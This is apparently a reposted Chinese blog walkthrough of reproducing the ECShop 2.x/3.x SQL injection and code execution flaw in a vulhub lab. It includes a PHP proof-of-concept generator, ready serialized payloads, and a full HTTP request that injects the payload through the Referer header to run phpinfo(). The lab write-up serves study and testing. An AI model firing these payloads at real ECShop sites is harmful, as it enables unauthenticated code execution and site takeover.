20 - vulhub - ECShop 2.x/3.x SQL注入/任意代码执行漏洞

漏洞名称:ECShop 2.x/3.x SQL注入/任意代码执行漏洞

简介:

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

其2017年及以前的版本中,存在一处SQL注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3版本与3.6.0次新版本进行漏洞复现。

其实该漏洞复现的意义不是很大,现在都 7.x 8.x 版本了,但是不失为 了解程序员写bug 的一种另类方式。

如果想要从源代码上分析该漏洞的成因的话,移步 Ecshop 2.x/3.x SQL注入/任意代码执行漏洞分析

影响版本

Ecshop 2.x

Ecshop 3.x-3.6.0

漏洞原理

漏洞产生的根本原因在于Ecshop系统的user.php文件中,display()函数的模版变量可控,在显示运行模版的时候,使用了动态函数调用,在insert_ads()函数中将用户可控的参数直接拼接到了SQL语句中,导致SQL注入漏洞。配合SQL注入漏洞可以进行远程任意代码执行,攻击者无需登录,可直接获取站点的Webshell。

该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

漏洞复现

环境准备

靶机环境   139.196.87.102  (vulhub)
攻击机环境  192.168.8.137  (虚拟机 Kali 2020.2  、Java1.8、Burp)

启动 ECShop 2.x/3.x SQL注入/任意代码执行漏洞 环境

1.进入 vulhub 的 ecshop 路径
cd /usr/local/tools/vulhub/ecshop/xianzhi-2017-02-82239600

2.编译并启动环境
docker-compose up -d

3.查看环境运行状态
docker ps | grep ecshop

在这里插入图片描述


环境启动后,可在浏览器页面成功访问 http://139.196.87.102:8080/http://139.196.87.102:8081/,然后进行安装.

环境启动后, http://139.196.87.102:8080/ 将看到 2.7.3 的安装页面,访问 http://139.196.87.102:8081/ 将看到 3.6.0 的安装页面。

依次安装二者,mysql 地址填写 mysql,mysql 账户与密码均为 root,数据库名随意填写,但 2.7.3 与 3.6.0 的数据库名不能相同。如下图:


在这里插入图片描述


漏洞利用

利用教程生成2.x和3.x POC

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{
      
      $hash2}ads|{
      
      $s}{
      
      $hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{
      
      $hash3}ads|{
      
      $s}{
      
      $hash3}";
?>

将上文的POC放在 phpstudy 里去访问,如下图【这里有个小坑,因为我本地没有 phpstudy 环境,就让朋友帮我试了一下,结果…】报错 Parse error: syntax error, unexpected '[' in C:\12\phpstudy_pro\WWW\q.php on line 4,暂时不想了 ,有空再看看 poc 有什么问题吧。


在这里插入图片描述


":"  第一个冒号后面的内容是 POC

POC for ECShop 2.x: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:“num”;s:107:"/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:“id”;s:11:"-1’ UNION/";}554fcae493e564ee0dc75bdf2ebf94ca

POC for ECShop 3.x: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:“num”;s:107:"/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:“id”;s:11:"-1’ UNION/";}45ea207d7a2b68c49582d2d22adf953a

验证漏洞利用是否成功

生成的 POC,放在 Referer 里发送

GET /user.php?act=login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

ECShop 2.x 漏洞验证

访问ECShop 2.x [8080端口],实现漏洞利用。点击登录页面,用burpsuite抓包,发到Repeater中:


在这里插入图片描述


将之前生成的POC复制到Referer中,直接在右侧即可看到phpinfo:


在这里插入图片描述


ECShop 3.x 漏洞验证

ECShop 3.x进行网站访问,实现漏洞利用。点击登录页面(用户中心),用burpsuite抓包,发到Repeater中。


在这里插入图片描述


将之前生成的POC复制到Referer中,直接在右侧即可看到phpinfo


在这里插入图片描述


猜你喜欢

转载自blog.csdn.net/weixin_42250835/article/details/121325668